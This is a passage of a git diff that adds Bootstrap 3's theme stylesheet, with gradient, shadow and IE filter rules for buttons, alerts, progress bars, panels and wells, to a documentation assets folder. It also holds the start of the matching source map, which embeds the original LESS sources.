1px 2px rgba(0, 0, 0, .05); +} +.alert-success { + background-image: -webkit-linear-gradient(top, #dff0d8 0%, #c8e5bc 100%); + background-image: -o-linear-gradient(top, #dff0d8 0%, #c8e5bc 100%); + background-image: -webkit-gradient(linear, left top, left bottom, from(#dff0d8), to(#c8e5bc)); + background-image: linear-gradient(to bottom, #dff0d8 0%, #c8e5bc 100%); + filter: progid:DXImageTransform.Microsoft.gradient(startColorstr='#ffdff0d8', endColorstr='#ffc8e5bc', GradientType=0); + background-repeat: repeat-x; + border-color: #b2dba1; +} +.alert-info { + background-image: -webkit-linear-gradient(top, #d9edf7 0%, #b9def0 100%); + background-image: -o-linear-gradient(top, #d9edf7 0%, #b9def0 100%); + background-image: -webkit-gradient(linear, left top, left bottom, from(#d9edf7), to(#b9def0)); + background-image: linear-gradient(to bottom, #d9edf7 0%, #b9def0 100%); + filter: progid:DXImageTransform.Microsoft.gradient(startColorstr='#ffd9edf7', endColorstr='#ffb9def0', GradientType=0); + background-repeat: repeat-x; + border-color: #9acfea; +} +.alert-warning { + background-image: -webkit-linear-gradient(top, #fcf8e3 0%, #f8efc0 100%); + background-image: -o-linear-gradient(top, #fcf8e3 0%, #f8efc0 100%); + background-image: -webkit-gradient(linear, left top, left bottom, from(#fcf8e3), to(#f8efc0)); + background-image: linear-gradient(to bottom, #fcf8e3 0%, #f8efc0 100%); + filter: progid:DXImageTransform.Microsoft.gradient(startColorstr='#fffcf8e3', endColorstr='#fff8efc0', GradientType=0); + background-repeat: repeat-x; + border-color: #f5e79e; +} +.alert-danger { + background-image: -webkit-linear-gradient(top, #f2dede 0%, #e7c3c3 100%); + background-image: -o-linear-gradient(top, #f2dede 0%, #e7c3c3 100%); + background-image: -webkit-gradient(linear, left top, left bottom, from(#f2dede), to(#e7c3c3)); + background-image: linear-gradient(to bottom, #f2dede 0%, #e7c3c3 100%); + filter: progid:DXImageTransform.Microsoft.gradient(startColorstr='#fff2dede', endColorstr='#ffe7c3c3', GradientType=0); + background-repeat: repeat-x; + border-color: #dca7a7; +} +.progress { + background-image: -webkit-linear-gradient(top, #ebebeb 0%, #f5f5f5 100%); + background-image: -o-linear-gradient(top, #ebebeb 0%, #f5f5f5 100%); + background-image: -webkit-gradient(linear, left top, left bottom, from(#ebebeb), to(#f5f5f5)); + background-image: linear-gradient(to bottom, #ebebeb 0%, #f5f5f5 100%); + filter: progid:DXImageTransform.Microsoft.gradient(startColorstr='#ffebebeb', endColorstr='#fff5f5f5', GradientType=0); + background-repeat: repeat-x; +} +.progress-bar { + background-image: -webkit-linear-gradient(top, #337ab7 0%, #286090 100%); + background-image: -o-linear-gradient(top, #337ab7 0%, #286090 100%); + background-image: -webkit-gradient(linear, left top, left bottom, from(#337ab7), to(#286090)); + background-image: linear-gradient(to bottom, #337ab7 0%, #286090 100%); + filter: progid:DXImageTransform.Microsoft.gradient(startColorstr='#ff337ab7', endColorstr='#ff286090', GradientType=0); + background-repeat: repeat-x; +} +.progress-bar-success { + background-image: -webkit-linear-gradient(top, #5cb85c 0%, #449d44 100%); + background-image: -o-linear-gradient(top, #5cb85c 0%, #449d44 100%); + background-image: -webkit-gradient(linear, left top, left bottom, from(#5cb85c), to(#449d44)); + background-image: linear-gradient(to bottom, #5cb85c 0%, #449d44 100%); + filter: progid:DXImageTransform.Microsoft.gradient(startColorstr='#ff5cb85c', endColorstr='#ff449d44', GradientType=0); + background-repeat: repeat-x; +} +.progress-bar-info { + background-image: -webkit-linear-gradient(top, #5bc0de 0%, #31b0d5 100%); + background-image: -o-linear-gradient(top, #5bc0de 0%, #31b0d5 100%); + background-image: -webkit-gradient(linear, left top, left bottom, from(#5bc0de), to(#31b0d5)); + background-image: linear-gradient(to bottom, #5bc0de 0%, #31b0d5 100%); + filter: progid:DXImageTransform.Microsoft.gradient(startColorstr='#ff5bc0de', endColorstr='#ff31b0d5', GradientType=0); + background-repeat: repeat-x; +} +.progress-bar-warning { + background-image: -webkit-linear-gradient(top, #f0ad4e 0%, #ec971f 100%); + background-image: -o-linear-gradient(top, #f0ad4e 0%, #ec971f 100%); + background-image: -webkit-gradient(linear, left top, left bottom, from(#f0ad4e), to(#ec971f)); + background-image: linear-gradient(to bottom, #f0ad4e 0%, #ec971f 100%); + filter: progid:DXImageTransform.Microsoft.gradient(startColorstr='#fff0ad4e', endColorstr='#ffec971f', GradientType=0); + background-repeat: repeat-x; +} +.progress-bar-danger { + background-image: -webkit-linear-gradient(top, #d9534f 0%, #c9302c 100%); + background-image: -o-linear-gradient(top, #d9534f 0%, #c9302c 100%); + background-image: -webkit-gradient(linear, left top, left bottom, from(#d9534f), to(#c9302c)); + background-image: linear-gradient(to bottom, #d9534f 0%, #c9302c 100%); + filter: progid:DXImageTransform.Microsoft.gradient(startColorstr='#ffd9534f', endColorstr='#ffc9302c', GradientType=0); + background-repeat: repeat-x; +} +.progress-bar-striped { + background-image: -webkit-linear-gradient(45deg, rgba(255, 255, 255, .15) 25%, transparent 25%, transparent 50%, rgba(255, 255, 255, .15) 50%, rgba(255, 255, 255, .15) 75%, transparent 75%, transparent); + background-image: -o-linear-gradient(45deg, rgba(255, 255, 255, .15) 25%, transparent 25%, transparent 50%, rgba(255, 255, 255, .15) 50%, rgba(255, 255, 255, .15) 75%, transparent 75%, transparent); + background-image: linear-gradient(45deg, rgba(255, 255, 255, .15) 25%, transparent 25%, transparent 50%, rgba(255, 255, 255, .15) 50%, rgba(255, 255, 255, .15) 75%, transparent 75%, transparent); +} +.list-group { + border-radius: 4px; + -webkit-box-shadow: 0 1px 2px rgba(0, 0, 0, .075); + box-shadow: 0 1px 2px rgba(0, 0, 0, .075); +} +.list-group-item.active, +.list-group-item.active:hover, +.list-group-item.active:focus { + text-shadow: 0 -1px 0 #286090; + background-image: -webkit-linear-gradient(top, #337ab7 0%, #2b669a 100%); + background-image: -o-linear-gradient(top, #337ab7 0%, #2b669a 100%); + background-image: -webkit-gradient(linear, left top, left bottom, from(#337ab7), to(#2b669a)); + background-image: linear-gradient(to bottom, #337ab7 0%, #2b669a 100%); + filter: progid:DXImageTransform.Microsoft.gradient(startColorstr='#ff337ab7', endColorstr='#ff2b669a', GradientType=0); + background-repeat: repeat-x; + border-color: #2b669a; +} +.list-group-item.active .badge, +.list-group-item.active:hover .badge, +.list-group-item.active:focus .badge { + text-shadow: none; +} +.panel { + -webkit-box-shadow: 0 1px 2px rgba(0, 0, 0, .05); + box-shadow: 0 1px 2px rgba(0, 0, 0, .05); +} +.panel-default > .panel-heading { + background-image: -webkit-linear-gradient(top, #f5f5f5 0%, #e8e8e8 100%); + background-image: -o-linear-gradient(top, #f5f5f5 0%, #e8e8e8 100%); + background-image: -webkit-gradient(linear, left top, left bottom, from(#f5f5f5), to(#e8e8e8)); + background-image: linear-gradient(to bottom, #f5f5f5 0%, #e8e8e8 100%); + filter: progid:DXImageTransform.Microsoft.gradient(startColorstr='#fff5f5f5', endColorstr='#ffe8e8e8', GradientType=0); + background-repeat: repeat-x; +} +.panel-primary > .panel-heading { + background-image: -webkit-linear-gradient(top, #337ab7 0%, #2e6da4 100%); + background-image: -o-linear-gradient(top, #337ab7 0%, #2e6da4 100%); + background-image: -webkit-gradient(linear, left top, left bottom, from(#337ab7), to(#2e6da4)); + background-image: linear-gradient(to bottom, #337ab7 0%, #2e6da4 100%); + filter: progid:DXImageTransform.Microsoft.gradient(startColorstr='#ff337ab7', endColorstr='#ff2e6da4', GradientType=0); + background-repeat: repeat-x; +} +.panel-success > .panel-heading { + background-image: -webkit-linear-gradient(top, #dff0d8 0%, #d0e9c6 100%); + background-image: -o-linear-gradient(top, #dff0d8 0%, #d0e9c6 100%); + background-image: -webkit-gradient(linear, left top, left bottom, from(#dff0d8), to(#d0e9c6)); + background-image: linear-gradient(to bottom, #dff0d8 0%, #d0e9c6 100%); + filter: progid:DXImageTransform.Microsoft.gradient(startColorstr='#ffdff0d8', endColorstr='#ffd0e9c6', GradientType=0); + background-repeat: repeat-x; +} +.panel-info > .panel-heading { + background-image: -webkit-linear-gradient(top, #d9edf7 0%, #c4e3f3 100%); + background-image: -o-linear-gradient(top, #d9edf7 0%, #c4e3f3 100%); + background-image: -webkit-gradient(linear, left top, left bottom, from(#d9edf7), to(#c4e3f3)); + background-image: linear-gradient(to bottom, #d9edf7 0%, #c4e3f3 100%); + filter: progid:DXImageTransform.Microsoft.gradient(startColorstr='#ffd9edf7', endColorstr='#ffc4e3f3', GradientType=0); + background-repeat: repeat-x; +} +.panel-warning > .panel-heading { + background-image: -webkit-linear-gradient(top, #fcf8e3 0%, #faf2cc 100%); + background-image: -o-linear-gradient(top, #fcf8e3 0%, #faf2cc 100%); + background-image: -webkit-gradient(linear, left top, left bottom, from(#fcf8e3), to(#faf2cc)); + background-image: linear-gradient(to bottom, #fcf8e3 0%, #faf2cc 100%); + filter: progid:DXImageTransform.Microsoft.gradient(startColorstr='#fffcf8e3', endColorstr='#fffaf2cc', GradientType=0); + background-repeat: repeat-x; +} +.panel-danger > .panel-heading { + background-image: -webkit-linear-gradient(top, #f2dede 0%, #ebcccc 100%); + background-image: -o-linear-gradient(top, #f2dede 0%, #ebcccc 100%); + background-image: -webkit-gradient(linear, left top, left bottom, from(#f2dede), to(#ebcccc)); + background-image: linear-gradient(to bottom, #f2dede 0%, #ebcccc 100%); + filter: progid:DXImageTransform.Microsoft.gradient(startColorstr='#fff2dede', endColorstr='#ffebcccc', GradientType=0); + background-repeat: repeat-x; +} +.well { + background-image: -webkit-linear-gradient(top, #e8e8e8 0%, #f5f5f5 100%); + background-image: -o-linear-gradient(top, #e8e8e8 0%, #f5f5f5 100%); + background-image: -webkit-gradient(linear, left top, left bottom, from(#e8e8e8), to(#f5f5f5)); + background-image: linear-gradient(to bottom, #e8e8e8 0%, #f5f5f5 100%); + filter: progid:DXImageTransform.Microsoft.gradient(startColorstr='#ffe8e8e8', endColorstr='#fff5f5f5', GradientType=0); + background-repeat: repeat-x; + border-color: #ededed; + -webkit-box-shadow: inset 0 1px 3px rgba(0, 0, 0, .05), 0 1px 0 rgba(255, 255, 255, .1); + box-shadow: inset 0 1px 3px rgba(0, 0, 0, .05), 0 1px 0 rgba(255, 255, 255, .1); +} +/*# sourceMappingURL=bootstrap-theme.css.map */ diff --git a/docs/assets/css/bootstrap-theme.css.map b/docs/assets/css/bootstrap-theme.css.map new file mode 100644 index 000000000..5a12d6317 --- /dev/null +++ b/docs/assets/css/bootstrap-theme.css.map @@ -0,0 +1 @@ +{"version":3,"sources":["less/theme.less","less/mixins/vendor-prefixes.less","bootstrap-theme.css","less/mixins/gradients.less","less/mixins/reset-filter.less"],"names":[],"mappings":"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","file":"bootstrap-theme.css","sourcesContent":["\n//\n// Load core variables and mixins\n// --------------------------------------------------\n\n@import \"variables.less\";\n@import \"mixins.less\";\n\n\n//\n// Buttons\n// --------------------------------------------------\n\n// Common styles\n.btn-default,\n.btn-primary,\n.btn-success,\n.btn-info,\n.btn-warning,\n.btn-danger {\n text-shadow: 0 -1px 0 rgba(0,0,0,.2);\n @shadow: inset 0 1px 0 rgba(255,255,255,.15), 0 1px 1px rgba(0,0,0,.075);\n .box-shadow(@shadow);\n\n // Reset the shadow\n &:active,\n &.active {\n .box-shadow(inset 0 3px 5px rgba(0,0,0,.125));\n }\n\n .badge {\n text-shadow: none;\n }\n}\n\n// Mixin for generating new styles\n.btn-styles(@btn-color: #555) {\n #gradient > .vertical(@start-color: @btn-color; @end-color: darken(@btn-color, 12%));\n .reset-filter(); // Disable gradients for IE9 because filter bleeds through rounded corners; see https://github.com/twbs/bootstrap/issues/10620\n background-repeat: repeat-x;\n border-color: darken(@btn-color, 14%);\n\n &:hover,\n &:focus {\n background-color: darken(@btn-color, 12%);\n background-position: 0 -15px;\n }\n\n &:active,\n &.active {\n background-color: darken(@btn-color, 12%);\n border-color: darken(@btn-color, 14%);\n }\n\n &.disabled,\n &:disabled,\n &[disabled] {\n background-color: darken(@btn-color, 12%);\n background-image: none;\n }\n}\n\n// Common styles\n.btn {\n // Remove the gradient for the pressed/active state\n &:active,\n &.active {\n background-image: none;\n }\n}\n\n// Apply the mixin to the buttons\n.btn-default { .btn-styles(@btn-default-bg); text-shadow: 0 1px 0 #fff; border-color: #ccc; }\n.btn-primary { .btn-styles(@btn-primary-bg); }\n.btn-success { .btn-styles(@btn-success-bg); }\n.btn-info { .btn-styles(@btn-info-bg); }\n.btn-warning { .btn-styles(@btn-warning-bg); }\n.btn-danger { .btn-styles(@btn-danger-bg); }\n\n\n//\n// Images\n// --------------------------------------------------\n\n.thumbnail,\n.img-thumbnail {\n .box-shadow(0 1px 2px rgba(0,0,0,.075));\n}\n\n\n//\n// Dropdowns\n// --------------------------------------------------\n\n.dropdown-menu > li > a:hover,\n.dropdown-menu > li > a:focus {\n #gradient > .vertical(@start-color: @dropdown-link-hover-bg; @end-color: darken(@dropdown-link-hover-bg, 5%));\n background-color: darken(@dropdown-link-hover-bg, 5%);\n}\n.dropdown-menu > .active > a,\n.dropdown-menu > .active > a:hover,\n.dropdown-menu > .active > a:focus {\n #gradient > .vertical(@start-color: @dropdown-link-active-bg; @end-color: darken(@dropdown-link-active-bg, 5%));\n background-color: darken(@dropdown-link-active-bg, 5%);\n}\n\n\n//\n// Navbar\n// --------------------------------------------------\n\n// Default navbar\n.navbar-default {\n #gradient > .vertical(@start-color: lighten(@navbar-default-bg, 10%); @end-color: @navbar-default-bg);\n .reset-filter(); // Remove gradient in IE<10 to fix bug where dropdowns don't get triggered\n border-radius: @navbar-border-radius;\n @shadow: inset 0 1px 0 rgba(255,255,255,.15), 0 1px 5px rgba(0,0,0,.075);\n .box-shadow(@shadow);\n\n .navbar-nav > .open > a,\n .navbar-nav > .active > a {\n #gradient > .vertical(@start-color: darken(@navbar-default-link-active-bg, 5%); @end-color: darken(@navbar-default-link-active-bg, 2%));\n .box-shadow(inset 0 3px 9px rgba(0,0,0,.075));\n }\n}\n.navbar-brand,\n.navbar-nav > li > a {\n text-shadow: 0 1px 0 rgba(255,255,255,.25);\n}\n\n// Inverted navbar\n.navbar-inverse {\n #gradient > .vertical(@start-color: lighten(@navbar-inverse-bg, 10%); @end-color: @navbar-inverse-bg);\n .reset-filter(); // Remove gradient in IE<10 to fix bug where dropdowns don't get triggered; see https://github.com/twbs/bootstrap/issues/10257\n\n .navbar-nav > .open > a,\n .navbar-nav > .active > a {\n #gradient > .vertical(@start-color: @navbar-inverse-link-active-bg; @end-color: lighten(@navbar-inverse-link-active-bg, 2.5%));\n .box-shadow(inset 0 3px 9px rgba(0,0,0,.25));\n }\n\n .navbar-brand,\n .navbar-nav > li > a {\n text-shadow: 0 -1px 0 rgba(0,0,0,.25);\n }\n}\n\n// Undo rounded corners in static and fixed navbars\n.navbar-static-top,\n.navbar-fixed-top,\n.navbar-fixed-bottom {\n border-radius: 0;\n}\n\n// Fix active state of dropdown items in collapsed mode\n@media (max-width: @grid-float-breakpoint-max) {\n .navbar .navbar-nav .open .dropdown-menu > .active > a {\n &,\n &:hover,\n &:focus {\n color: #fff;\n #gradient > .vertical(@start-color: @dropdown-link-active-bg; @end-color: darken(@dropdown-link-active-bg, 5%));\n }\n }\n}\n\n\n//\n// Alerts\n// --------------------------------------------------\n\n// Common styles\n.alert {\n text-shadow: 0 1px 0 rgba(255,255,255,.2);\n @shadow: inset 0 1px 0 rgba(255,255,255,.25), 0 1px 2px rgba(0,0,0,.05);\n .box-shadow(@shadow);\n}\n\n// Mixin for generating new styles\n.alert-styles(@color) {\n #gradient > .vertical(@start-color: @color; @end-color: darken(@color, 7.5%));\n border-color: darken(@color, 15%);\n}\n\n// Apply the mixin to the alerts\n.alert-success { .alert-styles(@alert-success-bg); }\n.alert-info { .alert-styles(@alert-info-bg); }\n.alert-warning { .alert-styles(@alert-warning-bg); }\n.alert-danger { .alert-styles(@alert-danger-bg); }\n\n\n//\n// Progress bars\n// --------------------------------------------------\n\n// Give the progress background some depth\n.progress {\n #gradient > .vertical(@start-color: darken(@progress-bg, 4%); @end-color: @progress-bg)\n}\n\n// Mixin for generating new styles\n.progress-bar-styles(@color) {\n #gradient > .vertical(@start-color: @color; @end-color: darken(@color, 10%));\n}\n\n// Apply the mixin to the progress bars\n.progress-bar { .progress-bar-styles(@progress-bar-bg); }\n.progress-bar-success { .progress-bar-styles(@progress-bar-success-bg); }\n.progress-bar-info { .progress-bar-styles(@progress-bar-info-bg); }\n.progress-bar-warning { .progress-bar-styles(@progress-bar-warning-bg); }\n.progress-bar-danger { .progress-bar-styles(@progress-bar-danger-bg); }\n\n// Reset the striped class because our mixins don't do multiple gradients and\n// the above custom styles override the new `.progress-bar-striped` in v3.2.0.\n.progress-bar-striped {\n #gradient > .striped();\n}\n\n\n//\n// List groups\n// --------------------------------------------------\n\n.list-group {\n border-radius: @border-radius-base;\n .box-shadow(0 1px 2px rgba(0,0,0,.075));\n}\n.list-group-item.active,\n.list-group-item.active:hover,\n.list-group-item.active:focus {\n text-shadow: 0 -1px 0 darken(@list-group-active-bg, 10%);\n #gradient > .vertical(@start-color: @list-group-active-bg; @end-color: darken(@list-group-active-bg, 7.5%));\n border-color: darken(@list-group-active-border, 7.5%);\n\n .badge {\n text-shadow: none;\n }\n}\n\n\n//\n// Panels\n// --------------------------------------------------\n\n// Common styles\n.panel {\n .box-shadow(0 1px 2px rgba(0,0,0,.05));\n}\n\n// Mixin for generating new styles\n.panel-heading-styles(@color) {\n #gradient > .vertical(@start-color: @color; @end-color: darken(@color, 5%));\n}\n\n// Apply the mixin to the panel headings only\n.panel-default > .panel-heading { .panel-heading-styles(@panel-default-heading-bg); }\n.panel-primary > .panel-heading { .panel-heading-styles(@panel-primary-heading-bg); }\n.panel-success > .panel-heading { .panel-heading-styles(@panel-success-heading-bg); }\n.panel-info > .panel-heading { .panel-heading-styles(@panel-info-heading-bg); }\n.panel-warning > .panel-heading { .panel-heading-styles(@panel-warning-heading-bg); }\n.panel-danger > .panel-heading { .panel-heading-styles(@panel-danger-heading-bg); }\n\n\n//\n// Wells\n// --------------------------------------------------\n\n.well {\n #gradient > .vertical(@start-color: darken(@well-bg, 5%); @end-color: @well-bg);\n border-color: darken(@well-bg, 10%);\n @shadow: inset 0 1px 3px rgba(0,0,0,.05), 0 1px 0 rgba(255,255,255,.1);\n .box-shadow(@shadow);\n}\n","// Vendor Prefixes\n//\n// All vendor mixins are deprecated as of v3.2.0 due to the introduction of\n// Autoprefixer in our Gruntfile. They will be removed in v4.\n\n// - Animations\n// - Backface visibility\n// - Box shadow\n// - Box sizing\n// - Content columns\n// - Hyphens\n// - Placeholder text\n// - Transformations\n// - Transitions\n// - User Select\n\n\n// Animations\n.animation(@animation) {\n -webkit-animation: @animation;\n -o-animation: @animation;\n animation: @animation;\n}\n.animation-name(@name) {\n -webkit-animation-name: @name;\n animation-name: @name;\n}\n.animation-duration(@duration) {\n -webkit-animation-duration: @duration;\n animation-duration: @duration;\n}\n.animation-timing-function(@timing-function) {\n -webkit-animation-timing-function: @timing-function;\n animation-timing-function: @timing-function;\n}\n.animation-delay(@delay) {\n -webkit-animation-delay: @delay;\n animation-delay: @delay;\n}\n.animation-iteration-count(@iteration-count) {\n -webkit-animation-iteration-count: @iteration-count;\n animation-iteration-count: @iteration-count;\n}\n.animation-direction(@direction) {\n -webkit-animation-direction: @direction;\n animation-direction: @direction;\n}\n.animation-fill-mode(@fill-mode) {\n -webkit-animation-fill-mode: @fill-mode;\n animation-fill-mode: @fill-mode;\n}\n\n// Backface visibility\n// Prevent browsers from flickering when using CSS 3D transforms.\n// Default value is `visible`, but can be changed to `hidden`\n\n.backface-visibility(@visibility){\n -webkit-backface-visibility: @visibility;\n -moz-backface-visibility: @visibility;\n backface-visibility: @visibility;\n}\n\n// Drop shadows\n//\n// Note: Deprecated `.box-shadow()` as of v3.1.0 since all of Bootstrap's\n// supported browsers that have box shadow capabilities now support it.\n\n.box-shadow(@shadow) {\n -webkit-box-shadow: @shadow; // iOS <4.3 & Android <4.1\n box-shadow: @shadow;\n}\n\n// Box sizing\n.box-sizing(@boxmodel) {\n -webkit-box-sizing: @boxmodel;\n -moz-box-sizing: @boxmodel;\n box-sizing: @boxmodel;\n}\n\n// CSS3 Content Columns\n.content-columns(@column-count; @column-gap: @grid-gutter-width) {\n -webkit-column-count: @column-count;\n -moz-column-count: @column-count;\n column-count: @column-count;\n -webkit-column-gap: @column-gap;\n -moz-column-gap: @column-gap;\n column-gap: @column-gap;\n}\n\n// Optional hyphenation\n.hyphens(@mode: auto) {\n word-wrap: break-word;\n -webkit-hyphens: @mode;\n -moz-hyphens: @mode;\n -ms-hyphens: @mode; // IE10+\n -o-hyphens: @mode;\n hyphens: @mode;\n}\n\n// Placeholder text\n.placeholder(@color: @input-color-placeholder) {\n // Firefox\n &::-moz-placeholder {\n color: @color;\n opacity: 1; // Override Firefox's unusual default opacity; see https://github.com/twbs/bootstrap/pull/11526\n }\n &:-ms-input-placeholder { color: @color; } // Internet Explorer 10+\n &::-webkit-input-placeholder { color: @color; } // Safari and Chrome\n}\n\n// Transformations\n.scale(@ratio) {\n -webkit-transform: scale(@ratio);\n -ms-transform: scale(@ratio); // IE9 only\n -o-transform: scale(@ratio);\n transform: scale(@ratio);\n}\n.scale(@ratioX; @ratioY) {\n -webkit-transform: scale(@ratioX, @ratioY);\n -ms-transform: scale(@ratioX, @ratioY); // IE9 only\n -o-transform: scale(@ratioX, @ratioY);\n transform: scale(@ratioX, @ratioY);\n}\n.scaleX(@ratio) {\n -webkit-transform: scaleX(@ratio);\n -ms-transform: scaleX(@ratio); // IE9 only\n -o-transform: scaleX(@ratio);\n transform: scaleX(@ratio);\n}\n.scaleY(@ratio) {\n -webkit-transform: scaleY(@ratio);\n -ms-transform: scaleY(@ratio); // IE9 only\n -o-transform: scaleY(@ratio);\n transform: scaleY(@ratio);\n}\n.skew(@x; @y) {\n -webkit-transform: skewX(@x) skewY(@y);\n -ms-transform: skewX(@x) skewY(@y); // See https://github.com/twbs/bootstrap/issues/4885; IE9+\n -o-transform: skewX(@x) skewY(@y);\n transform: skewX(@x) skewY(@y);\n}\n.translate(@x; @y) {\n -webkit-transform: translate(@x, @y);\n 